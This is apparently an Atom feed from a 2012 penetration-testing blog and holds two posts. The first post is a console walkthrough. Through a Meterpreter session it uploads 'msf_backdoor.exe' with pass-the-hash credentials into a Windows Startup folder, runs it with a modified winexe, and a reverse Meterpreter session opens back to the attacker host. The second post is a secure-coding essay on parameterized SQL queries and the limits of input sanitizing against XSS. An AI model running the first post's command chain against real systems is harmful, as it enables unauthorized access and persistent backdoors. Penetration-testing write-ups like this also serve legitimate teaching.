<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8539880144347728238</id><updated>2012-01-24T10:21:59.175-05:00</updated><category term='puttyhijack'/><category term='Research'/><category term='http options'/><category term='news'/><category term='MAC addresses'/><category term='shotgun posts'/><category term='Val Smith'/><category term='Paterva'/><category term='malware'/><category term='ike-scan'/><category term='tsa'/><category term='privacy'/><category term='webcasts'/><category term='linkedin'/><category term='eeepc'/><category term='Dr-crack'/><category term='shmoocon 08'/><category term='swfscan'/><category term='citrix hacking'/><category term='The Craft of System Security'/><category term='Book Reviews'/><category term='scams'/><category term='wrap-up'/><category term='pwnage'/><category term='EthicalHacker.net'/><category term='DNS exploit'/><category term='sticky ports'/><category term='Traceroute'/><category term='WTF'/><category term='Security Data Visualization'/><category term='silc'/><category term='hack tools'/><category term='rant'/><category term='scripting'/><category term='IPv6'/><category term='infosecwriters.com'/><category term='privacy is dead'/><category term='java'/><category term='Hacking Exposed Windows'/><category term='webdav'/><category term='Metasploit'/><category term='attack analysis'/><category term='wordpress'/><category term='Joe Klein'/><category term='http-dir-enum'/><category term='blackhat DC'/><category term='deauth attack'/><category term='opinion'/><category term='jeremiah grossman'/><category term='Botnets'/><category term='airodump-ng'/><category term='defense'/><category term='ubuntu'/><category term='stupid users'/><category term='windows vista'/><category term='ruby'/><category term='Metasploit Pro'/><category term='education'/><category term='SOURCE Boston 2009'/><category term='carnal0wnage'/><category term='ida pro'/><category term='NTP'/><category term='local root'/><category term='backtrack2'/><category term='Endpoint Security'/><category term='pidgin'/><category term='SQL  Injection'/><category term='conti'/><category term='hacking'/><category term='forenics'/><category term='domo kun video'/><category term='HackerDefender'/><category term='sqlite3'/><category term='sqlmap'/><category term='lft'/><category term='SOURCE Boston 2008'/><category term='usernames'/><category term='chicagocon'/><category term='webshells'/><category term='reDuh'/><category term='karmetasploit'/><category term='google dorks'/><category term='file format'/><category term='irc'/><category term='podcasts'/><category term='backtrack3'/><category term='chris nickerson'/><category term='token kidnaping'/><category term='wmap'/><category term='EFF NSA Shirt'/><category term='shmoocon 09'/><category term='install your own linux distro'/><category term='smbshell'/><category term='The Art of Software Security Testing'/><category term='Dan Hoffman'/><category term='Full Scope Security'/><category term='layer2'/><category term='portqry'/><category term='rainbow tables'/><category term='w3af'/><category term='databases'/><category term='Scapy'/><category term='IE7 Exploit'/><category term='pentoo'/><category term='phishing'/><category term='Traceroute Aggregation'/><category term='metagoofil'/><category term='sensitive data leakage'/><category term='twitter'/><category term='Crash Course in Penetration Testing'/><category term='process injection'/><category term='P2P'/><category term='timestomp'/><category term='foursquare'/><category term='GoogleAds'/><category term='DNS'/><category term='incognito'/><category term='Security Conferences'/><category term='risk management'/><category term='passthehash toolkit'/><category term='zone transfers'/><category term='token impersonation'/><category term='sensepost'/><category term='Network Mapping'/><category term='Chris Gates'/><category term='Learn Security Online'/><category term='Pentesting'/><category term='day in the life'/><category term='mssql_ping'/><category term='toorcon'/><category term='cktricky'/><category term='digging into the chewy center'/><category term='scp'/><category term='SCADA'/><category term='kismet'/><category term='yersinia'/><category term='AttackResearch'/><category term='notes'/><category term='volatility'/><category term='xml'/><category term='Packet Analysis'/><category term='Joe McCray'/><category term='tempest'/><category term='Full Scope Testing'/><category term='rootkit'/><category term='Maltego'/><category term='offtopic'/><category term='msvctl'/><category term='oracle'/><category term='password cracking'/><category term='android'/><category term='non-english'/><category term='null sa'/><category term='Physical Security'/><category term='exploits'/><category term='tnscmd'/><category term='scanning'/><category term='digital signatures'/><category term='Incident Response'/><category term='ssl'/><category term='interviews'/><category term='information Gathering'/><category term='snmp'/><category term='VNC'/><category term='mwr InfoSecurity'/><category term='Traceroute Visulization'/><category term='automation'/><category term='defcon'/><category term='XSS'/><category term='meterpreter'/><category term='Fresh New Look'/><category term='Johnny Long'/><category term='defeating AV'/><category term='Security Metrics'/><category term='Wireless'/><category term='Information Security Day'/><category term='rpcclient'/><category term='aircrack-ng'/><category term='No Tech Hacking'/><category term='javascript'/><category term='coldfusion'/><category term='karmasploit'/><category term='mssql_login'/><category term='karma'/><category term='metacab'/><category term='youtube'/><category term='Security'/><category term='press'/><category term='mssql'/><category term='Programming'/><category term='richard bejtlich'/><category term='sunday comics'/><category term='lotus domino'/><category term='No Place To Hide'/><category term='espionage'/><category term='local to domain account'/><category term='LG voyager'/><category term='sqid'/><category term='hakin9'/><category term='HE Windows'/><category term='Programming Book Review Criteria'/><category term='Geek Mafia'/><category term='dhcp script injection'/><category term='motorola xoom root'/><category term='rfid'/><category term='volreg'/><category term='linux'/><category term='Mail'/><category term='java decompile'/><category term='null-session'/><category term='cadaver'/><category term='8570.1'/><category term='social engineering'/><category term='thin client hacking'/><category term='mike murray'/><category term='politics'/><category term='conspiracy'/><category term='nmap'/><category term='web application testing'/><category term='ncrack'/><category term='firewire'/><category term='unicornscan'/><category term='client side attacks'/><category term='enumeration'/><category term='john the ripper'/><category term='nessus'/><category term='upload.asp'/><category term='life'/><category term='certification'/><category term='antivirus'/><category term='exploit dev course'/><category term='HR Geeks'/><category term='exotic liability'/><category term='NoVA Sec'/><category term='slicehost'/><category term='jboss'/><category term='pass the hash'/><category term='printer hacking'/><category term='quotes'/><category term='DNS Fingerprinting'/><category term='Fuzzing: Brute Force Vulnerability Discovery'/><category term='fail'/><category term='auxiliary modules'/><category term='paranoia'/><category term='webgoat'/><category term='identity theft'/><category term='gsecdump'/><title type='text'>Carnal0wnage &amp; Attack Research Blog</title><subtitle type='html'>carnal0wnage and Attack Research Blog</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default?start-index=101&amp;max-results=100'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>472</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-3671627190903635946</id><published>2012-01-23T14:28:00.000-05:00</published><updated>2012-01-23T20:21:33.480-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Pentesting'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>psexec fail? upload and exec instead</title><content type='html'>I ended up having to use the &lt;a href="http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/auxiliary/admin/smb/upload_file.rb" target="_blank"&gt;smb/upload_file&lt;/a&gt; module on a pentest. &amp;nbsp;I was able to get the local admin hashes but for some reason the psexec module wouldn't get code&amp;nbsp;execution, it would act like it would work but&amp;nbsp;wasn't. &amp;nbsp;So we decided to push a binary, use &lt;a href="http://www.foofus.net/~jmk/passhash.html" target="_blank"&gt;winexe&lt;/a&gt; that was&amp;nbsp;modified&amp;nbsp;to pass the hash to exec the binary as needed. &amp;nbsp;It went something like this...&lt;span style="font-family: 'courier new';"&gt;##################################################&lt;br /&gt;# add a route to the 10.x network thru session 1&lt;br /&gt;##################################################&lt;br /&gt;&lt;br /&gt;msf &amp;nbsp;exploit(handler) &amp;gt; route add 10.0.0.0 255.255.255.0 1&lt;br /&gt;[*] Route added&lt;br /&gt;&lt;br /&gt;#######################################################&lt;br /&gt;# psexec wouldnt work. AV eating metsvc most likely...&lt;br /&gt;# used smb/upload_file to place a binary on the box&lt;br /&gt;######################################################&lt;br /&gt;msf &amp;nbsp;exploit(handler) &amp;gt; use auxiliary/admin/smb/upload_file&lt;br /&gt;msf auxiliary(upload_file) &amp;gt; info&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; Name: SMB File Upload Utility&lt;br /&gt;&amp;nbsp; &amp;nbsp; Module: auxiliary/admin/smb/upload_file&lt;br /&gt;&amp;nbsp; &amp;nbsp; Version: 10394&lt;br /&gt;&amp;nbsp; &amp;nbsp; License: Metasploit Framework License (BSD)&lt;br /&gt;&amp;nbsp; &amp;nbsp; Rank: Normal&lt;br /&gt;&lt;br /&gt;Provided by:&lt;br /&gt;&amp;nbsp; hdm &lt;hdm@metasploit.com&gt;&lt;/hdm@metasploit.com&gt;&lt;br /&gt;&lt;br /&gt;Basic options:&lt;br /&gt;&lt;br /&gt;&amp;nbsp; Name &amp;nbsp; &amp;nbsp; &amp;nbsp;Current Setting &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Required &amp;nbsp;Description&lt;br /&gt;&amp;nbsp; ---- &amp;nbsp; &amp;nbsp; &amp;nbsp;--------------- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; -------- &amp;nbsp;-----------&lt;br /&gt;&amp;nbsp; LPATH &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The path of the local file to upload&lt;br /&gt;&amp;nbsp; RHOST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The target address&lt;br /&gt;&amp;nbsp; RPATH &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The name of the remote file relative to the share&lt;br /&gt;&amp;nbsp; RPORT &amp;nbsp; &amp;nbsp; 445 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; yes &amp;nbsp; &amp;nbsp; &amp;nbsp; Set the SMB service port&lt;br /&gt;&amp;nbsp; SMBSHARE &amp;nbsp;C$ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The name of a writeable share on the server&lt;br /&gt;&lt;br /&gt;Description:&lt;br /&gt;&amp;nbsp; This module uploads a file to a target share and path. The only&lt;br /&gt;&amp;nbsp; reason to use this module is if your existing SMB client is not able&lt;br /&gt;&amp;nbsp; to support the features of the Metasploit Framework that you need,&lt;br /&gt;&amp;nbsp; like pass-the-hash authentication.&lt;br /&gt;&lt;br /&gt;msf &amp;nbsp;auxiliary(upload_file) &amp;gt; set SMBUser Administrator&lt;br /&gt;SMBUser =&amp;gt; Administrator&lt;br /&gt;smsf &amp;nbsp;auxiliary(upload_file) &amp;gt; set SMBPass aad3b435b51404eeaad3b435b51404ee:9eba97a1375911112222333398c61606&lt;br /&gt;SMBPass =&amp;gt; aad3b435b51404eeaad3b435b51404ee:9eba97a1375911112222333398c61606&lt;br /&gt;msf auxiliary(upload_file) &amp;gt; set RHOST 1.2.3.4&lt;br /&gt;RHOST =&amp;gt; 1.2.3.4&lt;br /&gt;msf auxiliary(upload_file) &amp;gt; set LPATH /home/chris/msf3/msf_backdoor.exe&lt;br /&gt;LPATH =&amp;gt; /home/chris/msf3/msf_backdoor.exe&lt;br /&gt;msf auxiliary(upload_file) &amp;gt; set RPATH "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\msf_backdoor.exe"&lt;br /&gt;RPATH =&amp;gt; C:\Documents and Settings\All Users\Start Menu\Programs\Startup\msf_backdoor.exe&lt;br /&gt;msf auxiliary(upload_file) &amp;gt; run&lt;br /&gt;[*] Read 13616 bytes from /home/chris/msf3/msf_backdoor.exe...&lt;br /&gt;[*] Connecting to the server...&lt;br /&gt;[*] Mounting the remote share \\1.2.3.4\C$'...&lt;br /&gt;[*] Trying to upload Documents and Settings\All Users\Start Menu\Programs\Startup\msf_backdoor.exe...&lt;br /&gt;[*] The file has been uploaded to Documents and Settings\All Users\Start Menu\Programs\Startup\msf_backdoor.exe...&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;&lt;br /&gt;################################################&lt;br /&gt;#Set up a portforward to talk to hosts via SMB&lt;br /&gt;################################################&lt;br /&gt;&lt;br /&gt;meterpreter &amp;gt; portfwd add -l 445 -p 445 -r 1.2.3.4&lt;br /&gt;[*] Local TCP relay created: 0.0.0.0:445 &amp;lt;-&amp;gt; 1.2.3.4:445&lt;br /&gt;&lt;br /&gt;#####################################################################&lt;br /&gt;# Use winexe with pass the hash to get cmd shell and run the binary&lt;br /&gt;#####################################################################&lt;br /&gt;&lt;br /&gt;user@ubuntu:~/Desktop/winexe-hash$ export SMBHASH=aad3b435b51404eeaad3b435b51404ee:9eba97a1375911112222333398c61606&lt;br /&gt;user@ubuntu:~/Desktop/winexe-hash$ ./winexe -U administrator //1.2.3.4 "cmd"&lt;br /&gt;Password for [WORKGROUP\administrator]:&lt;br /&gt;HASH PASS: Substituting user supplied NTLM HASH...&lt;br /&gt;Microsoft Windows XP [Version 5.1.2600]&lt;br /&gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\system32&amp;gt;ipconfig&lt;br /&gt;ipconfig&lt;br /&gt;&lt;br /&gt;Windows IP Configuration&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ethernet adapter Local Area Connection:&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Connection-specific DNS Suffix &amp;nbsp;. : inside.company.com&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; IP Address. . . . . . . . . . . . : 1.2.3.4&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Subnet Mask . . . . . . . . . . . : 255.255.255.0&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Default Gateway . . . . . . . . . : 1.2.3.254&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\system32&amp;gt;&lt;br /&gt;C:\Documents and Settings\All Users\Start Menu\Programs\Startup&amp;gt;dir&lt;br /&gt;dir&lt;br /&gt;&amp;nbsp;Volume in drive C has no label.&lt;br /&gt;&amp;nbsp;Volume Serial Number is 0007-B088&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Directory of C:\Documents and Settings\All Users\Start Menu\Programs\Startup&lt;br /&gt;&lt;br /&gt;01/13/2012 &amp;nbsp;03:55 PM &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .&lt;br /&gt;01/13/2012 &amp;nbsp;03:55 PM &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ..&lt;br /&gt;01/13/2012 &amp;nbsp;03:55 PM &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;13,616 msf_backdoor.exe&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1 File(s) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 13,616 bytes&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;2 Dir(s) &amp;nbsp;241,661,345,792 bytes free&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\All Users\Start Menu\Programs\Startup&amp;gt;msf_backdoor.exe&lt;br /&gt;msf_backdoor.exe&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\All Users\Start Menu\Programs\Startup&amp;gt;&lt;br /&gt;&lt;br /&gt;[*] 5.5.5.5:4889 Request received for /INITM...&lt;br /&gt;[*] 5.5.5.5:4889 Staging connection for target /INITM received...&lt;br /&gt;[*] Patched transport at offset 486516...&lt;br /&gt;[*] Patched URL at offset 486248...&lt;br /&gt;[*] Patched Expiration Timeout at offset 641856...&lt;br /&gt;[*] Patched Communication Timeout at offset 641860...&lt;br /&gt;[*] Meterpreter session 5 opened (5.5.5.5:443 -&amp;gt; 6.6.6.6:4889) at Wed Jan 18 22:02:03 +0000 2012&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-3671627190903635946?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/3671627190903635946/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=3671627190903635946' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/3671627190903635946'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/3671627190903635946'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2012/01/psexec-fail-upload-and-exec-instead.html' title='psexec fail? upload and exec instead'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-6363463379086411179</id><published>2012-01-13T12:38:00.000-05:00</published><updated>2012-01-14T00:50:46.128-05:00</updated><title type='text'>"Sanitize Input"</title><content type='html'>&lt;br /&gt;&lt;br /&gt;When application security was still in it’s infancy, there were discussions on how to protect applications from newly discovered injection vulnerabilities. "Sanitize Input" was a popular solution that rolled off the tongue nicely and was not overly complicated to explain. It was also, a very generic solution that would (hopefully) be part of a more complete approach.&lt;br /&gt;&lt;br /&gt;As much as "Sanitizing Input" makes sense, so does writing your code in a way which, allows you to handle failure safely. This way, when the unexpected does happen, an entire operation doesn't fall down, introduce a bug or propagate unsafe data.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Question: When does this approach fail miserably?&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Answer: &amp;nbsp;When it is the only approach you have.&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The OWASP Top 10 categorizes XSS and SQL Injection separately. As an attacker, you are injecting data that is handled insecurely by application code. In this way, it is really just another form of injection. On that note, let’s discuss two manifestations of injection. SQL Injection and HTML Injection (XSS).&amp;nbsp;I'd like to demonstrate other ways to think about or handle data beyond just "Sanitize Input". If you take away nothing more from this article, I'd like it to be that applications are unique, there is a level of complexity to design choices and solutions and there are more options than "Sanitize Input" available.&lt;br /&gt;&lt;br /&gt;SQL Injection: "Save your one-liners for the bar". Parametrization of database queries is a classic method for handling queries safely and in many cases more efficiently. From a security standpoint, parametrized queries help to solidify the boundaries between user data and SQL statements. It ensures that data submitted by the user will be separated from the actual database query and won’t interfere with the SQL code and ultimately the database.&lt;br /&gt;&lt;br /&gt;Example of lazy code....&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #6aa84f; font-family: 'Courier New', Courier, monospace; font-size: large;"&gt;http://www.example.com/example.php?user_name=gevans&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #6aa84f; font-family: 'Courier New', Courier, monospace; font-size: large;"&gt;$uname = $_GET['user_name']&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;....and this is the classic example everyone shows, nothing new here, that illustrates a SQL Injection flaw where the data ($uname) is actually included in the SQL statement.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #6aa84f; font-family: 'Courier New', Courier, monospace; font-size: large;"&gt;"SELECT user_id from users where username = $uname;"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This programming flaw has destroyed the boundary between the SQL command and user-supplied input. Because the user data is now cast as a string-- it is no longer clear to the SQL server what part was supplied by the developer and what was supplied by the user. The whole query can fall apart by appending double quotes. This is not just a vulnerability, this is bad programming. Sure, it takes one line to write the query but there is no further sanity checking here. The string is formed, sent to the server, and executed as SQL. How are parametrized queries different?&lt;br /&gt;&lt;br /&gt;Parametrized queries separate the data from the query so that we as coders don’t miscommunicate our intentions to the database server. How does it work? The majority of the query is sent to the server MINUS the actual user submitted data. So, the query is prepared (meaning sent to the server), a response comes back with a token (minus MySQL as I understand it), and THEN, the variable is sent to the server with the token and a SQL query executes. This means the expected query and actual data that we've gathered from the user are separated prior to execution.&lt;br /&gt;&lt;br /&gt;Lets provide a visualization&lt;br /&gt;&lt;br /&gt;// Pass in db credentials as well as the host it is located on and the database we'd like to connect to&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #6aa84f; font-family: 'Courier New', Courier, monospace; font-size: large;"&gt;$conn = new PDO("mysql:host=$dbhost;dbname=$dbname",$dbuser,$dbpass);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;// Prepare the statement&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #6aa84f; font-family: 'Courier New', Courier, monospace; font-size: large;"&gt;$sql = "SELECT user_id from users where username = ?";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;//Execute the query, taking in the variable data ($uname) from the user&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #6aa84f; font-family: 'Courier New', Courier, monospace; font-size: large;"&gt;$q = $conn-&amp;gt;prepare($sql);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #6aa84f; font-family: 'Courier New', Courier, monospace; font-size: large;"&gt;$q-&amp;gt;execute(array($uname));&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #6aa84f; font-family: 'Courier New', Courier, monospace; font-size: large;"&gt;$object = $q-&amp;gt;fetchColumn();&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-CcTpoHfm45c/Tw-EUKlgGnI/AAAAAAAAAY4/hj675AVnOec/s1600/Screen+shot+2012-01-12+at+8.03.42+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="192" src="http://1.bp.blogspot.com/-CcTpoHfm45c/Tw-EUKlgGnI/AAAAAAAAAY4/hj675AVnOec/s320/Screen+shot+2012-01-12+at+8.03.42+PM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As you can see, the $sql statement is prepared and the server knows exactly what it should look like. Next, the SQL statement is executed, passing in the variable value in place of the "?" (shown above). By specifying that question mark, you tell the db, this is my statement but I don't know what the value will be.....I'll give you that on the next call.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Lets examine XSS. Again, something I hear a lot is "Sanitize your input". Some people even go as far as "Whitelist" versus "Blacklist". Okay, great, that is not extensible and ultimately context matters. What do I mean? It is a very one-sided approach with a lot of assumptions. Let me draw a picture for you. The understanding, as of right now, is the data comes in one place and is potentially echoed in another. So the model looks something like this:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-YDua_0UQ1vY/TvvQsy4WXvI/AAAAAAAAAYY/xopT62qtATE/s1600/io.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="238" src="http://1.bp.blogspot.com/-YDua_0UQ1vY/TvvQsy4WXvI/AAAAAAAAAYY/xopT62qtATE/s320/io.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;A typical example would be a registration form. You sign up with your First Name, Last Name, etc. Upon successful authentication to the application, you notice a little message at the top right....&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-f9ThoqCJJ7w/TvvVBv52bKI/AAAAAAAAAYk/WVM0smMvQzw/s1600/welcome.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="65" src="http://1.bp.blogspot.com/-f9ThoqCJJ7w/TvvVBv52bKI/AAAAAAAAAYk/WVM0smMvQzw/s320/welcome.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;So....."Welcome, Ken!", I wonder where that value came from? When we registered, our information was stored in the db, later extracted after login, and shown on the page. Now, we should be safe right? Even if we had attempted to place JavaScript in the First Name value upon registration, it wouldn't have mattered.....We Sanitized!!!&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Two months later, a user complains that they signed up with a misspelled username and would like the ability to change it. A new developer is assigned the task of adding the ability to edit your first and last name and does so. The new developers assumption is that we are going to safely handle that data when rendered to the user. But we aren't. We sanitized the input and didn't bother with handling the data. Our model has changed from Input/Output to......&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-OeWG0OnGwec/TvvXP_3dy1I/AAAAAAAAAYw/NUSD7JXZftw/s1600/io2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="285" src="http://3.bp.blogspot.com/-OeWG0OnGwec/TvvXP_3dy1I/AAAAAAAAAYw/NUSD7JXZftw/s400/io2.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;So with one additional point of input, our model gets (very slightly) more complicated. Now imagine adding multiple points of input, multiple points of output. Now split input into data entry (processed), storage handling (stored in the db) and then do the same for output. While we are at, lets throw a web-service that consumes the data as well. It becomes very easy to see how "Sanitize Input" doesn't scale, isn't a sure-fire solution, and really oversimplifies the problem for those who are looking to either receive or give an easy answer.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;In summary, please join me in the fight to stop the mindless regurgitation of old material.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Cheers,&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Ken&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-6363463379086411179?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/6363463379086411179/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=6363463379086411179' title='4 Comments'/><link rel='edit' type='application/atom+xml' 